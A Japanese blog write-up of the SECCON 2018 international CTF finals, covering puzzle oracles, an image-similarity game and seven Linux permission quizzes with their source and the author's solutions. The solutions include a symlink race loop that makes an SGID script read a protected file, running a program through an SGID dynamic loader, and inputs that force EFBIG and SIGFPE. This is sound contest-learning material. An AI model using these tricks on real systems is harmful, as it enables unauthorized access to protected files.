こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2018 国際決勝 Writeup

SECCON 2018の国際決勝に出場できたので、そのWriteupを書く。

入力文字列の文字種、文字数、含まれる文字列をチェックして、passfailを返すpythonファイルが計130ファイル配られる。 以下に2つ例示する。

oracle001

#!/usr/bin/python

def IsAsciiLetters(s):
    import string
    # test = string.ascii_letters + string.digits
    test = string.ascii_uppercase
    for x in s:
        if not x in test:
            return False
    return True

def Length(s):
    return len(s)

def Contains(s, substr):
    return substr in s

def SubString(s, offset, length):
    return s[offset:(offset+length)]

def IndexOf(s, substr, offset):
    return s[offset:].find(substr)

def Concat(*args):
    return ''.join(args)

def check(s):
    if IsAsciiLetters(s):
        
        if not Length(s) == 16:
            return False
        else:
            
            if False:
                return False
            else:
                
                if False:
                    return False
                else:
                    return True
    else:
        return False

if __name__ == '__main__':
    import sys
    if check(sys.argv[1]):
        print("pass")
    else:
        print("fail")

oracle130

(oracle001と同じのため省略)
def check(s):
    if IsAsciiLetters(s):
        
        if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) :
            return False
        else:
            s1 = SubString(s, 0, 1); s2 = SubString(s, 1, 15); s = Concat(s1, s2)
            if Contains(s, "BK"):
                
                if Contains(s, "ALMZDHWD"):
                    
                    if IndexOf(s, "CNBVSTGR", 0) >= 4:
                        return True
                    else:
                        return Contains(s, "WDLOQAVU")
                else:
                    
                    if Contains(s, "OSPVHMBK"):
                        return Contains(s, "VFGQYZST")
                    else:
                        return Contains(s, "EWNAMBYO")
            else:
                
                if Contains(s, "RC"):
                    
                    if Contains(s, "RLNMSHQB"):
                        return Contains(s, "LIKTZURC")
                    else:
                        return Contains(s, "IARYTEZB")
                else:
                    
                    if Contains(s, "IJBRPHQJ"):
                        return Contains(s, "BIVROLQH")
                    else:
                        return False
    else:
        return False
(oracle001と同じのため省略)

Attack Pointsは、passを返す文字列を作成して、API経由で投入すればフラグが得られる。10ファイル、40ファイル、40ファイル、40ファイルの4セットに分かれており、各セットをクリアするとそれぞれのフラグが得られる。

最初の14ファイルはパターン化できなかったが、それ以降はパターン(if/elseの組み方)がほぼ同じ。特定の行の処理を抜き出すだけで、8割~9割くらいはpassする文字列を作成できた。例えば、上記のoracle130を例にとると、

if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) :
if Contains(s, "BK"):
return Contains(s, "EWNAMBYO")

を抜き出せば、BKEWNAMBYOAAAAAAAを入力すればpassすることがわかる。後ろのAAAAAAAはパディング文字列。

特定行の抜き出し、入力文字列候補の生成、実行を行うスクリプトを作成し、たまにfailするやつは目検で確認して補正してクリアした。

Defense Pointsは、反対にpassする文字列を検知するyaraルールを作成するゲーム。yaraルールをAPI経由で登録すると、サーバ内部で各oracleへ攻撃処理を実行しyaraルールを評価するようで、その検知数がトップのチームにポイントが与えれる。failが表示される文字列を検知したらアウト。各ファイルから自動でyaraルールを作成するスクリプトを作成した。

ただ、ここで(本質的ではない)問題に悩まされる。

5分ごとに各チームが登録したyaraルールが評価されるが、評価結果はトップの検知数しか表示されない。つまり、トップ以外は、自分が登録したyaraルールが何件検知できたのかわからない。というか競技時間中は、そもそも、このルールの解釈やyaraルールの書き方やタグ名が合っているかどうかも確証が持てず右往左往した。競技後に、トップの検知数をキープしていたTSGのすらいむさん(@taiyoslime)に聞いたところ、どうやらルールの解釈は合っていたことがわかった(すらいむさん、ありがとうございます)が、時すでに遅し。

yaraルールを作成するという意味では、本競技の中で数少ないセキュリティに関する問題であり、その点は良かった。ただ、上記のとおり、自身の結果を確認する術がない点で、後から参入が困難であり、課題のある問題だったように感じた。

1280x800の画像をアップロードすると、サーバ内のお手本となる画像(非公開)と比較して、その比較結果を返してくる。

Attack Pointsは、類似度が一定の割合ごとにフラグが得られる。

Defense Pointsは、類似度がトップのチームにのみ与えられる。

とりあえず、単色画像を投入して様子を見ようと、以下のスクリプトで試してみた。

import requests
from PIL import Image

width = 1280
height = 800
img = Image.new('RGB', (width, height))

for color in range(0, 255):
    for y in range(height):
        for x in range(width):
            img.putpixel((x, y), (color, color, color))

    img.save('test.png', quality=100)
    print(color)
    url = 'http://172.24.0.12/'
    file = {'photo': open('test.png', 'rb')}
    res = requests.post(url, files=file)
    print(res.text)

なんと、このスクリプトで、color=40のときに、Attack Pointsを全て得られる、高い類似度を叩き出してしまった。1日目の13時くらいに実行していたと記憶している。2時間ごとに比較方法が変わるルールであったが、このタイミングの比較方法と単色画像とがうまくマッチしてしまったのだろうか。

なお、それ以降は特にDefense Pointsも取れず。

チームのバイナリ班が担当していたため割愛。

Defence Pointsのルールが明記されておらず、そもそも何をしてよいかわからなかった模様。

チームのバイナリ班が担当していたため割愛。

Attack Pointsは全て取れていた。

問題は計7つ。
全て実行ファイルのソースコードが公開されている。特定の条件でフラグを出力する仕様である。

サーバにsshでログインし、色々な引数や方法で実行してフラグを出力させる。

Attack Pointsは、7つクリアしたら得られる。
Defense Pointsは、フラグ名のファイルを作って他チームと7回じゃんけん。説明が面倒なので割愛。

各実行ファイルのユーザとパーミッションは以下の通り。

---x--s--x 1 root 1001 8544 12月 16 14:10 Q1
---x--s--x 1 root 1002 8544 12月 16 14:10 Q2
-rwxr-x--- 1 root 1003 8440 12月 16 14:10 Q3
---x--s--x 1 root 1004 8544 12月 16 14:10 Q4
---x--s--x 1 root 1005 8552 12月 16 14:10 Q5
---x--s--x 1 root 1006 8792 12月 16 14:10 Q6
---x--s--x 1 root 1007 8680 12月 16 14:10 Q7
----r-x--- 1 root 1001  321 12月 16 14:10 q1.py
----r-x--- 1 root 1002  134 12月 13 12:10 q2.py
----r----- 1 root 1002   49 12月 16 14:10 q2.txt
----r-x--- 1 root 1004  498 12月 16 14:10 q4.pl

以下、ソースコードと解法。自分が解いたのはQuiz 5のみ。

Quiz 1: Get an exception message.

/seccon2018/Q1/seccon2018/q1.py
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1001) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q1.py";
    execve(argv[0], argv, (void *) 0);
    return 1;
}
#!/usr/bin/python3
import sys, os, stat

for file in sys.argv[1:]:
    try:
        sb = os.lstat(file)
    except:
        continue
    if not stat.S_ISREG(sb.st_mode):
        continue
    try:
        print('%s %s' % (file, sb.st_size))
    except:
        sys.exit("ANSWER{ANSWER_COMES_HERE}")

引数をたくさん指定して実行し、途中でCtrl + Cで止めたらフラグが出る。

Quiz 2: Read the readable file.

/seccon2018/Q2/seccon2018/q2.py
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1002) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q2.py";
    execv(argv[0], argv);
    return 1;
}
#!/usr/bin/python2
import sys, os

file = sys.argv[1]
if os.stat(file).st_gid != os.getegid():
    print(open(file, 'rb').read(1024))

gidチェック処理とread処理の間で、シンボリックのリンク先を変える。

$ echo hoge>a; while : ; do ln -sf a b ; ln -sf /seccon2018/q2.txt b ; done

Quiz 3: Read the standard output message.

/seccon2018/Q3
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

SGIDがついているファイルがあり、ライブラリかと思ったらそのまま実行できる。

$ find / \( -gid 1003 \) -ls 2>/dev/null
1080042  160 -rwxr-sr-x   1 root     1003       163400 10月 30 17:20 /usr/local/lib64/ld-linux-x86-64.so.2
1080962   12 -rwxr-x---   1 root     1003         8440 12月 16 14:10 /seccon2018/Q3
$ /usr/local/lib64/ld-linux-x86-64.so.2 /seccon2018/Q3

Quiz 4: Is this a bug?

/seccon2018/Q4/seccon2018/q4.pl
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (setgid(1004) || chdir("/seccon2018"))
        return 1;
    argv[0] = "q4.pl";
    execve(argv[0], argv, (void *) 0);
    return 1;
}
#!/usr/bin/perl
use utf8;
use strict;
use File::stat;
use Fcntl qw (S_ISREG);
my @array = ( );
my $total = 0;

foreach my $file (@ARGV) {
    my $sb = lstat($file) || next;
    next unless (S_ISREG($sb->mode) && $sb->size);
    printf("%s %s\n", $file, $sb->size);
    $total += $sb->size;
    push(@array, $sb->size);
}

foreach my $size (@array) { $total -= $size; }

if ($total == -1234) {
    printf("ANSWER{ANSWER_COMES_HERE}\n");
} else {
    printf("%s\n", $total);
}

メンバーに解法を聞かなかった・・・。

Quiz 5: A limitation as of this Linux kernel version.

/seccon2018/Q5
#include <stdio.h>
#include <errno.h>
#include <sys/sendfile.h>

int main(int argc, char *argv[])
{
    while (sendfile(3, 0, NULL, 1024 * 1024 * 1024) > 0);
    if (errno == EFBIG)
        printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

実はドハマりした問題。メンバー総出で相当時間をかけてしまい、2日目のチームの失速はこれが原因の1つだった。
スパースファイルなるものがあるとメンバーに聞き、ググって色々試したところ、以下の手順でフラグが出た。

$ echo -n 1 > 1byte
$ dd if=1byte of=sparse-file bs=7000000000 count=1 seek=1 conv=notrunc
$ /seccon2018/Q5 < sparse-file 3>&1 2>&1

参考:Sparse File (スパースファイル) の仕組み

Quiz 6: Get the signal handler message.

/seccon2018/Q6
#include <stdio.h>
#include <unistd.h>
#include <signal.h>

static void sighandler(int sig){
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    _exit(1);
}

int main(int argc, char *argv[])
{
    unsigned long size;
    unsigned long total = 0;
    unsigned short count = 0;
    signal(SIGFPE, sighandler);
    if (setgid(1006) || chdir("/seccon2018"))
        return 1;
    while (scanf("%lu", &size) == 1) {
        total += size;
        count++;
    }
    if (total)
        total /= count;
    printf("Average: %lu\n", total);
    return 0;
}

以下のコマンドでフラグが出た。

$ perl -e 'map { print "1\n"; } (0..0xffff);' | /seccon2018/Q6

Quiz 7: Keep winning the stone-scissors-paper games.

/seccon2018/Q7
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const char *names[3] = { "stone", "scissors", "paper" };
    int i;
    unsigned int player = 0;
    unsigned int computer = 0;
    srand(time(NULL));
    for (i = 0; i < 8; i++) {
        printf("0=%s 1=%s 2=%s >", names[0], names[1], names[2]);
        if (scanf("%u", &player) != 1 || player > 2)
            return 1;
        computer = rand() % 3;
        printf("You=%s Me=%s\n", names[player], names[computer]);
        if (computer != (player + 1) % 3)
            return 1;
    }
    printf("ANSWER{" ANSWER_COMES_HERE "}\n");
    return 0;
}

メンバーに解法を聞かなかった・・・。

アセンブラゴルフ。

Attack Pointsは無し。
Defense Pointsは、一番小さいファイルサイズの実行ファイルを投稿したらポイントを得られる。

1日目にメンバーが挑戦していたが、すぐにレベルの高い投稿があり、早々に諦めた。

所感

・だるま型の入場パスは新鮮。

・CTFの決勝大会は個人的には初参加であり、非常に楽しめた。ワイワイやるのいいね。1日目の終了後の作戦会議は非常に重要。

・ただ、決勝大会に出場すると、(当たり前だが)SECCONの他の催し物に参加できないのはネック。バグバウンティーとか法律の話とか聞きたかった。

・セキュリティ要素が薄いパズルっぽい問題が多かった印象。Web問がなかったのは残念。

・懇親会でアルコール無しなのは地味にダメージを受けた。そんな懇親会あるんだ・・・。
 学生重視の大会ぽいので、やむなし?

・でも来年も出たい。